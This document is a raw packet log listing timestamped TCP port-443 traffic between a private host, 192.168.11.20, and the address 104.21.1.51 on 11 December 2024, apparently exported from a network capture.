Dec 11, 2024 12:59:55.125406981 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.125410080 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.125456095 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.125504971 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.126972914 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.126983881 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.127151012 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.127151012 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.127156973 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.127197027 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.127296925 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.128326893 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.128335953 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.128448963 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.128448963 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.128546000 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.128546000 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.128549099 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.128595114 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.128595114 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.129558086 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.129575968 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.129683971 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.129683971 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.129688978 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.129832983 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.129882097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.131464005 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.131474018 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.131584883 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.131633997 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.131740093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.131742954 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.133080959 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.133091927 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.133205891 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.133207083 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.133210897 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.133304119 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.133304119 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.133304119 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.133352995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.134217978 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.134231091 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.134352922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.134430885 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.134430885 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.134434938 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.134547949 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.135910034 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.135920048 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.136040926 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.136044979 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.136092901 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.136094093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.136138916 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.136138916 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.136189938 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.137278080 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.137290955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.137406111 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.137454987 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.137506962 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.137506962 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.137511015 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.137552977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.137552977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.139031887 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.139048100 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.139213085 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.139213085 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.139218092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.139344931 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.140021086 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.140034914 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.140187025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.140187025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.140239000 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.140286922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.140286922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.140290022 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.141875982 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.141891956 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.142071009 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.142071009 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.142076015 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.142117977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.142117977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.142214060 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.143058062 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.143065929 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.143203974 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.143203974 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.143353939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.143353939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.143357992 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.144702911 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.144717932 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.144867897 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.144867897 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.144871950 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.144917011 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.145018101 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.146120071 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.146128893 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.146248102 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.146297932 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.146297932 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.146343946 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.146346092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.146393061 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.146393061 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.146908045 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.147105932 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.147109032 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.147249937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.306385994 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.306401014 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.306533098 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.306533098 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.306580067 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.306583881 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.306628942 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.306726933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.310044050 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.310055017 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.310235023 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.310240030 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.310281992 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.310281992 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.310414076 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.311261892 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.311270952 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.311542988 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.311542988 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.311605930 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.311609030 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.311774015 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.312277079 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.312293053 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.312446117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.312446117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.312546015 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.312550068 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.312690020 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.314121008 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.314131975 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.314260006 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.314260006 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.314358950 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.314358950 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.314362049 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.314457893 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.314536095 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.315185070 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.315195084 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.315377951 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.315443039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.315490961 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.315493107 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.315540075 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.315588951 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.315728903 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.316878080 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.316888094 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.317003012 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.317054033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.317054033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.317059040 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.317100048 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.317100048 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.317198038 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.318203926 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.318221092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.318357944 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.318407059 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.318407059 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.318411112 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.318455935 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.318455935 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.318556070 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.319415092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.319427013 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.319602966 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.319668055 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.319715977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.319719076 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.319765091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.319813967 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.319941998 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.320688009 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.320718050 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.320858002 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.320858002 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.320863962 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.320907116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.320957899 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.321005106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.322194099 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.322210073 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.322333097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.322333097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.322437048 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.322439909 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.322566986 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.323259115 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.323271990 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.323401928 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.323446989 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.323446989 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.323451042 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.323499918 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.323548079 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.323596954 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.324965000 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.324974060 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.325104952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.325171947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.325171947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.325175047 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.325237989 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.325237989 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.325336933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.325969934 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.325984955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.326148987 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.326148987 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.326196909 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.326196909 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.326201916 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.326246977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.326394081 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.327564955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.327594042 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.327718019 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.327769995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.327769995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.327769995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.327774048 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.327868938 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.327923059 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.328593969 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.328603029 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.328859091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.328859091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.328958035 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.328960896 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.329005957 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.329055071 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.329248905 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.330388069 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.330398083 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.330538988 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.330538988 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.330585003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.330585003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.330588102 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.330635071 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.330737114 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.331397057 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.331408978 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.331540108 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.331585884 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.331585884 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.331589937 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.331634998 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.331686974 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.331784964 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.333096981 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.333121061 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.333338022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.333528042 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.333528042 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.333528042 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.333528042 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.333532095 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.333719015 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.334008932 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.334018946 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.334152937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.334152937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.334203005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.334208012 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.334250927 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.334348917 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.334348917 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.335907936 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.335916996 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.336038113 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.336038113 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.336086988 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.336090088 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.336136103 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.336234093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.336234093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.336900949 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.336935997 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.337131023 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.337131023 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.337136030 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.337182999 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.337277889 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.337909937 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.337943077 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.338428020 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.338428020 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.338428020 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.338433027 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.338833094 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.339485884 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.339493990 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.339678049 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.339682102 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.339724064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.339776039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.339845896 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.341052055 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.341084003 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.341182947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.341182947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.341315985 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.341320038 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.341459036 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.342022896 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.342031002 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.342135906 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.342186928 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.342186928 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.342190981 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.342233896 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.342330933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.343799114 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.343806982 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.343945980 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.343945980 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.343995094 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.343997955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.344043970 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.344043970 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.344238997 CET	49763	443	192.168.11.20	104.21.1.51
